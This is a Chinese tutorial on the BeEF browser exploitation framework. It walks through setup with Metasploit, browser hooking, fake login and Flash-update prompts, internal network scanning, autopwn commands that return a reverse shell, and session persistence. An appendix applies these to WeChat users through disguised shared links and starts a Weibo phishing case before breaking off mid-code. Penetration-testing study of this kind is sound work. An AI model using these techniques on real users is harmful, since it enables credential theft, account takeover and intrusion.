浏览器利用框架BeEF测试

0×00 前言



http://www.vuln.cn/6966


BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 目前对其测试的文章不是很多,所以希望通过本次测试给大家带来全新的认识。

浏览器利用框架BeEF测试_第1张图片

0×01 简介


工具主页:http://beefproject.com

工具框架:

浏览器利用框架BeEF测试_第2张图片

0×02 测试环境


攻击主机:

操作系统:Kali 1.0
IP:192.168.16.245

测试主机:

操作系统:Win7x86
IP:192.168.16.197

路由器:

WooyunWifi
开启JS注入功能

浏览器利用框架BeEF测试_第3张图片

Tips:

WooyunWifi开启JS注入功能后会对用户访问的页面加入JS代码,如果JS代码设置成如下格式,那么运行后会在BeEF控制端返回一个shell

document.write("");

默认情况下JS注入附带缓存投毒功能,将视图缓存所有的页面至2099年,但可以通过清除所有缓存及浏览数据来清除缓存投毒的影响。

浏览器利用框架BeEF测试_第4张图片

0×03 BeEF参数配置


BeEF在Kali下默认安装,直接找到对应图标启动即可,但是默认设置未同Metasploit关联,无法使用msf模块,因此需要作如下配置连接msf

1、修改config.yaml

编辑
/usr/share/beef-xss/config.yaml

metasploit:
            enable: false改为true

浏览器利用框架BeEF测试_第5张图片

编辑
/usr/share/beef-xss/extensions/demos/config.yaml

enable:true改为false

编辑
/usr/share/beef-xss/extensions/metasploit/config.yaml

设置
    ssl: true
    ssl_version: 'TLSv1'

浏览器利用框架BeEF测试_第6张图片

2、启动msf服务

service postgresql start
service metasploit start
msfconsole
load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y

3、运行BeEF.rb

cd /usr/share/beef-xss/
/usr/share/beef-xss/beef

(启动后不要关闭,不然登录界面会提示密码错误)

浏览器利用框架BeEF测试_第7张图片

4、启动BeEF

弹出浏览器,输入默认用户名口令beef,即可登陆

主界面如图

浏览器利用框架BeEF测试_第8张图片

0×04 功能介绍


对基本功能做全面介绍,高级用法以后会做补充

1-信息收集

1、浏览器信息 可收集:

浏览器名称版本
浏览器用户版本
插件(包括Java,ActiveX,VBS,Flash……)
窗口大小

收集方法:

(1)自动默认收集信息
如图

浏览器利用框架BeEF测试_第9张图片

(2)插件收集信息
如图

浏览器利用框架BeEF测试_第10张图片

Tips:

模块图标不同颜色对应不同的使用效果
绿色:适用当前浏览器
橙色:适用当前浏览器,但易被用户发现,social engineering模块默认为橙色
红色:不适于当前浏览器,但仍可尝试

2、系统信息

可收集:

安装的软件(适用于IE下,Detect Software模块)
注册表键值(适用于IE下,此时会弹出提示消息)
内网IP(Java模块得到授权)
系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式)
定位(通过Google maps)
剪贴板信息(会弹出提示消息)

如图

浏览器利用框架BeEF测试_第11张图片

浏览器利用框架BeEF测试_第12张图片

浏览器利用框架BeEF测试_第13张图片

3、用户行为

可收集:

用户是否访问过某URL、domain
是否登录特定网站账号
是否使用TOR

如图

浏览器利用框架BeEF测试_第14张图片

2-社会工程

如果使用BeEF控制了浏览器,那么就可以修改整个页面来尝试社会工程学

1、提交登录信息

简单粗暴往往是最有效的

Pretty Theft模块:

在网页弹出诱骗消息需要用户输入登录和密码,并解释该会话已超时

选择的登录框模板,如图

浏览器利用框架BeEF测试_第15张图片

配置后用户浏览器界面,如图

浏览器利用框架BeEF测试_第16张图片

当用户输入信息后,自动获取,如图

浏览器利用框架BeEF测试_第17张图片

Simple Hijacker模块:

劫持网页上面的所有链接,当用户点击任意链接时弹出诱骗消息,如果用户接着点击会跳转到指定域名
如图

浏览器利用框架BeEF测试_第18张图片

浏览器利用框架BeEF测试_第19张图片

Clippy模块:

创建一个浏览器助手提示用户点击
如图

浏览器利用框架BeEF测试_第20张图片

2、重定向

Rediret Browser模块:

将当前页面重定向至指定页面,有可能导致当前权限丢失

Rediret Browser(iframe)模块:

将当前页面重定向至指定页面,,同时保留当前连接,可以维持当前浏览器权限
如图

浏览器利用框架BeEF测试_第21张图片

浏览器利用框架BeEF测试_第22张图片

TabNabbing模块:

当检测用户不在当前页面时启动定时器,倒计时结束后自动重定向至指定页面
如图

浏览器利用框架BeEF测试_第23张图片

3、Chrome/Firefox extensions

Fake Flash Update模块:

提示用户安装Adobe Flash Player的更新,用户点击后会下载指定文件
如图

浏览器利用框架BeEF测试_第24张图片

Chrome Extensions 系列:

值得尝试

浏览器利用框架BeEF测试_第25张图片

4、补充

Clickjacking模块:

可以使用multi-click clickjacking,判断当前用户鼠标位置,在不同位置可触发不同JS代码
如图,鼠标后面跟随一个iframe

浏览器利用框架BeEF测试_第26张图片

浏览器利用框架BeEF测试_第27张图片

3-网络扫描

通过JavaScript,可以尝试利用浏览器扫描内网

1、获取内网IP

Get Internal IP WebRTC模块:

通过WebRTC获取内网IP

Get Internal IP模块:

通过Java Socket class获取内网IP

2、识别局域网子网

识别内网网关,如图

这里写图片描述

3、识别HTTP Servers

识别内网web servers

4、ping操作

调用ping命令扫描内网

Ping Sweep模块 Ping Sweep (Java)模块

如图

浏览器利用框架BeEF测试_第28张图片

5、跨域扫描

6、DNS枚举

如图

浏览器利用框架BeEF测试_第29张图片

7、端口扫描

Port Scanner模块

如图

浏览器利用框架BeEF测试_第30张图片

浏览器利用框架BeEF测试_第31张图片

8、网络指纹特征扫描

用来扫描内网中的Web服务器和网络设备

Fingerprint Network模块

如图

浏览器利用框架BeEF测试_第32张图片

9、Remote CSRFs

10、IRC NAT Pinning

模拟浏览器的IRC通信,可用来绕过防火墙

11、网络拓扑

BeEF可根据扫描获得的信息绘制内网网络拓扑 如图

浏览器利用框架BeEF测试_第33张图片

浏览器利用框架BeEF测试_第34张图片

浏览器利用框架BeEF测试_第35张图片

此部分会在以后详细介绍

4-结合Metasploit

1、Metasploit系列模块

如图

浏览器利用框架BeEF测试_第36张图片

2、Browser Autopwn

反弹回meterpreter

方法:

(1)使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL

use auxiliary/server/browser_autopwn
show options
set LHOST 192.168.16.245
set SRVHOST 192.168.16.245
set SRVPORT 8881
run -z

生成一个链接,如图

浏览器利用框架BeEF测试_第37张图片

浏览器利用框架BeEF测试_第38张图片

(2)使用"Create Invisible Iframe"模块加载autopwn页面

如图

浏览器利用框架BeEF测试_第39张图片

(3)等待弹回shell

sessions -l

5-Tunneling

代理功能

方法:

1、选择控制的浏览器

如图

这里写图片描述

2、浏览器代理设置

HTTP Proxy:127.0.0.1
Port:6789

如图

浏览器利用框架BeEF测试_第40张图片

细节以后补充

3、访问同样网站,查看本机浏览器页面同被控浏览器页面内容是否相同(即不需要cookie可实现登录账号)

6-XSS

如图

浏览器利用框架BeEF测试_第41张图片

细节以后补充

7-维持权限

1、Create Pop Under模块

创建一个新窗口,如图

浏览器利用框架BeEF测试_第42张图片

反弹一个新权限,如图

这里写图片描述

2、Confirm Close Tab模块

当用户关闭当前页面时,反复弹出确认是否关闭页面的消息

3、Create Foreground iFrame模块 修改当前页面所有链接来避免离开当前页面
比如用户点击某个连接,会将新页面显示在当前页面上面,注意的是网址不会发送改变,如图:

浏览器利用框架BeEF测试_第43张图片

正常访问的页面为:(注意看地址栏)

浏览器利用框架BeEF测试_第44张图片

4、Man In The Browser模块

可拦截修改页面内所有链接,当用户点击当前页面的任意链接后仍可维持权限(必须是同源的页面)
如果用户手动更改URL地址栏,无法维持权限

0×05 小结


本文仅对BeEF的基本功能做了全面介绍,更多高级技巧很值得研究,例如利用BeEF内网渗透,利用代理不通过cookie登陆账户突破IP限制绑定等等。

测试过程难免会有疏忽遗漏,理解错误的地方欢迎指正,共同进步。

本文由三好学生原创并首发于乌云drops,转载请注明

0×06 补充


对手机平台的微信使用BeEF进行模拟测试

手机系统:

Android

1、上线方法:

1、扫描二维码

扫描后在BeEF控制端看到手机上线,如图

浏览器利用框架BeEF测试_第45张图片

对此页面进行Google Phishing欺骗,如图

浏览器利用框架BeEF测试_第46张图片

注:

在微信上面特别的地方在于此处无法看到包含的真实URL地址

2、朋友圈分享

将BeEF的上线地址做一下简单的伪装并分享到朋友圈,如图

浏览器利用框架BeEF测试_第47张图片

在朋友圈中同样无法看到包含的真实URL地址,打开即为BeEF的hook页面,如图

浏览器利用框架BeEF测试_第48张图片

3、朋友发来的链接

将此消息直接发给朋友,如图

浏览器利用框架BeEF测试_第49张图片

我们可以看到伪造前的URL地址

注:

BeEF的hook页面可以自定义成更具欺骗性的内容,这是为了演示方便使用默认界面

2、微信浏览器被Hook后可以做哪些操作

也许有人会提出疑问:手机打开网址持续的时间很短,关闭当前页面后BeEF的shell就会下线

解决方法:

使用BeEF API,用户上线后能够自动执行批量命令,结合Persistence模块能够极大提高shell存活时间

除了与windows系统相关的信息无法获取,其他操作均能成功执行,并且BeEF为手机劫持提供了专门的模块系列——Phonegap,如图

浏览器利用框架BeEF测试_第50张图片

以下是经测试可以在Android上使用的模块:

1、弹框
2、重定向 
3、查看是否访问过某些网站
4、Creates an invisible iframe
5、Social Engineering系列,如下图,仅作演示 
6、msf系列
7、NetWork系列,可以用来扫描同一内网下的windows主机

浏览器利用框架BeEF测试_第51张图片

注:

加载hook页面后,将手机屏幕关闭处于待机状态,BeEF仍然可以执行指令,或许这与手机系统相关,值得以后深入测试。

0×07 利用朋友圈投票社工微博帐号实例


1、伪造BeEF的hook页面

1、寻找模板

随机找到一个投票的页面,保存为html

http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd

2、替换hook页面

use/share/beef-xss/extensions/demos/html目录下,将上述html文件命名为basic.html并添加以下代码

var commandModuleStr = '
                    
                    

你可能感兴趣的:(渗透测试)